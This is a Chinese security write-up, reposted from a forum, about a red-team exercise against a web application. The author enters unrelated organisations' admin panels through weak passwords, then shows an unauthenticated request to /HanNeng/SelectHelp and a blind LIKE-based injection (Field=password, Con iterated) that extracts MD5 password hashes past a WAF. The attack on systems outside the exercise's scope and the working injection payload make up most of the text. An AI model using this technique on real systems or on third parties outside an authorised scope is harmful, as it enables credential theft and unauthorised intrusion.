在参加某市攻防演练的时候,发现目标站,经过一系列尝试,包括弱口令、SQL注入等等尝试后,未获得到有效的入口点。在准备放弃之时,看到页脚的banner:xxxxx信息科技有限公司然后有了个想法,到fofa里面搜这个banner,找到一些其他使用该站的,但是没有参与攻防演练的(PS:演练前该单位做过整改弱口令全改了)。经过尝试,果然皇天不负有心人,进入到了其他厂商的后台,于是开始寻找未授权就能访问的接口或者RCE点,脱代码来审计,从而获取目标权限。
找了一圈,后台没有直接RCE的点,无法脱代码来审计,但是发现了一个有趣的点:POST /HanNeng/SelectHelp HTTP/1.1Content-Length: 29Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASP.NET_SessionId=vd11thy3qnmgz0h4dtyb51ra; rem=1192
Connection: closeType=User&Field=UserName&Con=
经过测试发现该处不仅存在未授权访问,Field参数还存在注入。select count(*) from tb_User where IsDeleted!=1 and Password'
当我认为可以sqlmap一把梭的时候,却发现了这该死的waf:发现like附近语法错误,这时候想起来根据其他搜索方式,比如工号搜索的时候,应该是模糊匹配的:发现Con参数的内容应该是进行了模糊匹配,也就是说sql语句可能是:select count(*) from tb_User where IsDeleted!=1 and userid like '%可控点2%';
可控点2不存在注入,可控点1存在注入但是有waf,这时候就想到一个特别好玩的方法,我把field传入个password是否能获取到password密文呢?select count(*) from tb_User where IsDeleted!=1 and userid like '%可控点2%';
select username,userid from tb_User where IsDeleted!=1 and userid like '%可控点2%';
所以肯定不可能直接把密码传出的,那么就没得搞了么?要么绕过waf,要么还能。。。select count(*) from tb_User where IsDeleted!=1 and password like '%可控点2%';
这样我只需要构造payload:Type=User&Field=password&Con={遍历}就可以一位一位注入密码了,比如:用户pageCount数量一直在减少,密码相同的用户一直在减少,但是这里要说明一个点,因为是%可控点%,所以123的前后都有可能有数据,当时我犯了这个错误,导致注入出的md5不全。注入出md5证明如下:自此就可以和waf和平共存,你防你的大注入,我搞你的小密码。获取完整md5后解密即可登录后台。文章作者:Alivin
原文地址:https://forum.butian.net/share/470
如需转载本样式风格、字体版权,请保留出处:李白你好
每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看”
文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247506780&idx=1&sn=d73e22c502db3aad814f1cc0fac7d509&chksm=c04d5c62f73ad574aed956114c557f977740d152a5769b159d810e9a5b3b2514d23894af7915#rd
如有侵权请联系:admin#unsafe.sh